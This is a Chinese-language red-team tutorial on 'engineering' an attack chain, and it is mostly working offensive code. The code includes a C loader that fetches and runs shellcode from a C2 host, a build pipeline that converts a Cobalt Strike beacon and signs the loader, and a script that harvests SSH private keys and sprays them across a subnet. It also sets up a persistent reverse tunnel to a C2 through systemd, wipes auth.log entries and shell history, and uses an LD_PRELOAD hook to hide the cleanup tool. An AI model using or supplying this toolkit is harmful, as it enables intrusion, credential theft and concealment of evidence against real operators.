工程化实战思维：红队技战术的自动化与体系化落地

引言

在红队攻防演练中，单纯依赖“手搓” exploit 或临时拼凑 payload 的时代已经过去。面对日益复杂的网络环境、EDR/NDR 的全面部署以及防守方自动化的威胁狩猎能力，红队必须引入“工程化实战思维”——将攻击流程拆解为可复用、可编排、可监控的模块，通过自动化脚本、配置管理和持续集成工具，实现攻击链路的快速闭环。

本文将结合 Linux 环境下的实战场景，从信息收集、武器化、横向移动到痕迹清理四个阶段，展示如何用工程化手段提升攻击效率与隐蔽性。

一、信息收集：从“手动点”到“自动化编排”

传统信息收集依赖 curl、nmap 等工具逐条执行，效率低且易遗漏。工程化思路是构建“信息收集流水线”。

1.1 批量域名/子域名收集与存活验证

使用 subfinder + httpx 组合，并通过管道实现自动化：

# 安装工具（假设已配置 Go 环境）
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest

# 执行收集与存活验证
subfinder -d target.com -silent | httpx -title -status-code -follow-redirects -silent -o live_hosts.txt

输出示例（live_hosts.txt）：

https://mail.target.com [200] [Mail Server]
https://vpn.target.com [302] [SSL VPN]

1.2 指纹识别与端口扫描的批量联动

利用 nmap 的 -iL 参数结合 grep 提取关键端口，再通过 whatweb 识别中间件版本：

# 扫描常见 Web 端口
nmap -p 80,443,8080,8443 -iL live_hosts.txt -oG nmap_web.gnmap

# 提取存活 IP:Port
grep "open" nmap_web.gnmap | awk '{print $2":"$5}' | cut -d'/' -f1 > web_services.txt

# 批量指纹识别
while IFS= read -r line; do
    whatweb -a 3 "$line" --log-json=whatweb_$line.json
done < web_services.txt

工程化要点：使用 parallel 工具并行化上述循环，避免阻塞：

cat web_services.txt | parallel -j 10 "whatweb -a 3 {} --log-json=whatweb_{#}.json"

二、武器化：Payload 的模块化构建与动态混淆

红队武器库不应是“一个 exe 打天下”，而应像微服务一样，每个组件独立编译、按需组合。

2.1 基于 C 的 Shellcode 加载器模板

编写一个可配置的加载器（loader.c），支持从远程 URL 或本地文件读取 shellcode：

#include <windows.h>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")

int main() {
    HINTERNET hSession = InternetOpenA("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    HINTERNET hConnect = InternetOpenUrlA(hSession, "http://c2.example.com/payload.bin", NULL, 0, 0, 0);

    DWORD dwSize = 0;
    InternetQueryDataAvailable(hConnect, &dwSize, 0, 0);
    char *buf = (char*)VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    DWORD dwRead = 0;
    InternetReadFile(hConnect, buf, dwSize, &dwRead);

    // 执行 shellcode
    ((void(*)())buf)();

    InternetCloseHandle(hConnect);
    InternetCloseHandle(hSession);
    return 0;
}

编译命令（使用 MinGW 交叉编译）：

x86_64-w64-mingw32-gcc -o loader.exe loader.c -lwininet -s -O2

2.2 自动化混淆与签名

利用 donut 将 .NET 程序集或 shellcode 转换为 shellcode，再通过 signcode 伪造数字签名：

# 将 CobaltStrike 的 beacon.dll 转为 shellcode
donut -i beacon.dll -o beacon.bin -a 2 -f 7

# 生成自签名证书（用于测试）
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

# 签名 loader.exe
signcode -spc cert.pem -v key.pem -t http://timestamp.digicert.com -a sha256 loader.exe

工程化要点：将上述步骤写入 Makefile，实现一键构建：

all: clean payload.bin loader.exe signed_loader.exe

payload.bin:
    donut -i beacon.dll -o $@ -a 2 -f 7

loader.exe: loader.c
    x86_64-w64-mingw32-gcc -o $@ $< -lwininet -s -O2

signed_loader.exe: loader.exe
    signcode -spc cert.pem -v key.pem -t http://timestamp.digicert.com -a sha256 $<

三、横向移动：基于 SSH/SCP 的自动化渗透

在 Linux 内网环境中，SSH 密钥窃取与复用是经典横向移动手段。工程化思路是构建“凭证收集-复用-清理”的闭环脚本。

3.1 批量 SSH 密钥收集与测试

遍历 /home/*/.ssh/id_rsa，并尝试登录目标网段：

#!/bin/bash
# collect_and_test.sh

TARGET_SUBNET="192.168.10.0/24"
KEY_DIR="/tmp/harvested_keys"

mkdir -p $KEY_DIR

# 收集本机私钥
find /home -name "id_rsa" -exec cp {} $KEY_DIR \; 2>/dev/null

# 扫描存活主机
nmap -sn $TARGET_SUBNET -oG - | grep "Up" | awk '{print $2}' > live_hosts.txt

# 批量 SSH 登录测试
for host in $(cat live_hosts.txt); do
    for key in $KEY_DIR/*; do
        ssh -o StrictHostKeyChecking=no -o ConnectTimeout=3 -i "$key" root@$host "whoami" 2>/dev/null
        if [ $? -eq 0 ]; then
            echo "[+] Success: $host with key $key"
            echo "$host" >> compromised_hosts.txt
            # 将当前主机私钥复制到新主机，扩大攻击面
            scp -o StrictHostKeyChecking=no -i "$key" "$key" root@$host:/tmp/.cache_key
        fi
    done
done

3.2 利用 SSH 隧道建立持久化通道

在已失陷主机上建立反向隧道，连接至 C2 服务器：

# 在受害主机上执行
ssh -R 1080:localhost:1080 -N -f c2_server_user@c2_ip

# 在 C2 服务器上配置 SOCKS5 代理
# 后续所有渗透流量均可通过 localhost:1080 转发

工程化要点：将上述脚本封装为 systemd 服务，实现开机自启与保活：

[Unit]
Description=SSH Reverse Tunnel
After=network.target

[Service]
ExecStart=/usr/bin/ssh -R 1080:localhost:1080 -N -o ServerAliveInterval=60 -o ExitOnForwardFailure=yes c2_user@c2_ip
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target

四、痕迹清理：日志擦除的原子化操作

红队行动后必须清理日志，但粗暴的 rm -rf /var/log 会触发告警。工程化思路是“精准删除，保留结构”。

4.1 针对 SSH 登录日志的清理

使用 sed 删除特定 IP 的登录记录：

#!/bin/bash
# clean_ssh_logs.sh

ATTACKER_IP="10.0.0.5"

# 删除 auth.log 中攻击者 IP 的行
sed -i "/$ATTACKER_IP/d" /var/log/auth.log

# 删除 lastlog 中攻击者记录
# 注意：lastlog 是二进制文件，需使用工具修改
lastlog -u root -t 0 > /dev/null 2>&1  # 重置 root 的 lastlog

4.2 清理 bash 历史与临时文件

通过覆盖文件而非删除来规避 inotify 监控：

# 覆盖 bash_history
shred -zu ~/.bash_history
history -c

# 清理临时上传的工具
find /tmp -name "*.py" -o -name "*.sh" -exec shred -zu {} \;

工程化要点：将清理脚本编译为 ELF 二进制，并通过 LD_PRELOAD 注入隐藏自身进程：

// hide_process.c
#define _GNU_SOURCE
#include <dlfcn.h>
#include <string.h>

typedef int (*orig_open_t)(const char *pathname, int flags);
int open(const char *pathname, int flags, ...) {
    if (strstr(pathname, "clean_ssh_logs") != NULL) {
        errno = ENOENT;
        return -1;
    }
    orig_open_t orig_open = (orig_open_t)dlsym(RTLD_NEXT, "open");
    return orig_open(pathname, flags);
}

编译与使用：

gcc -shared -fPIC -o hide.so hide_process.c -ldl
LD_PRELOAD=./hide.so ./clean_ssh_logs

总结

工程化实战思维的核心在于：

1. 模块化：将攻击动作拆解为独立模块（信息收集、加载器、横向脚本），每个模块可独立测试与更新。
2. 自动化：通过 Shell/Python 脚本、Makefile 或 Ansible 实现攻击链路的流水线化，减少人为失误。
3. 可复用：构建私有工具库（如 GitHub 私有仓库 + CI/CD），每次行动前自动拉取最新版本并混淆。
4. 隐蔽性：在工程化过程中嵌入反检测逻辑（动态混淆、进程隐藏、日志精准清理），而非事后补救。

红队技战术的工程化落地，本质上是对抗“人的不确定性”——用机器的稳定性和可重复性，去对抗防守方的自动化防御体系。只有将攻击流程像软件工程一样管理，才能在实战中保持高胜率与低暴露风险。